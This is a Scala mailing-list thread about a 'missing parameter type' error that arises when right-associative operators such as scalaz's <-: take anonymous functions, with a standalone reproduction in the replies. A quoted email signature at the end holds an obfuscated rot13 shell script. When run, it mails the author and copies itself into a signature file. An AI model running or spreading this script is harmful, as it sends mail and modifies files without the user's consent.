- About Scala
- Documentation
- Code Examples
- Software
- Scala Developers
Type inference and right associative operators
Sat, 2011-06-18, 13:05
I think the interaction between left-to-right type inference and syntactic
sugar for right associative operators interact in an unfortunate way, the
naive expectation would be for the following two definitions to be equivalent:
scala> import scalaz.Scalaz._
scala> def f(x: Either[Int,Float]) = (Some(_)) <-: x
:8: error: missing parameter type for expanded function ((x$1) => Some(x$1))
def f(x: Either[Int,Float]) = (Some(_)) <-: x
^
scala> def f(x: Either[Int,Float]) = x.<-:(Some(_))
f: (x: Either[Int,Float])Either[Some[Int],Float]
Or am I doing something wrong in my experiments with scalaz if I constantly
run into "missing parameter type" errors like this?
- Florian.
Sat, 2011-06-18, 14:07
#2
Re: Type inference and right associative operators
On Sat, Jun 18, 2011 at 2:05 PM, Florian Hars wrote:
> I think the interaction between left-to-right type inference and syntactic
> sugar for right associative operators interact in an unfortunate way, the
> naive expectation would be for the following two definitions to be equivalent:
Here's a standalone example:
scala> object O { def <-:(f: Int => Int) = () }
defined module O
scala> O.<-:(x => x)
scala> (x => x) <-: O
:16: error: missing parameter type
(x => x) <-: O
^
The problem seems limited to inference of anonymous function parameter
types, in this example the expected type is used to trigger an
implicit view.
scala> object P { def <-:(f: String) = () }
defined module P
scala> implicit def any2string(a: Any) = a.toString
any2string: (a: Any)java.lang.String
scala> 0 <-: P
-jason
Florian,
That is peculiar. I too would expect the inference direction to
correspond to the associativity direction.
On Sat, Jun 18, 2011 at 8:05 AM, Florian Hars wrote:
> I think the interaction between left-to-right type inference and syntactic
> sugar for right associative operators interact in an unfortunate way, the
> naive expectation would be for the following two definitions to be equivalent:
>
> scala> import scalaz.Scalaz._
>
> scala> def f(x: Either[Int,Float]) = (Some(_)) <-: x
> :8: error: missing parameter type for expanded function ((x$1) => Some(x$1))
> def f(x: Either[Int,Float]) = (Some(_)) <-: x
> ^
>
> scala> def f(x: Either[Int,Float]) = x.<-:(Some(_))
> f: (x: Either[Int,Float])Either[Some[Int],Float]
>
> Or am I doing something wrong in my experiments with scalaz if I constantly
> run into "missing parameter type" errors like this?
>
> - Florian.
> --
> #!/bin/sh -
> set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
> angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;fraqznvy sKunef.q\
> r<$3&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svt bs Obet.'"|$1|`$4 $2|$1`
>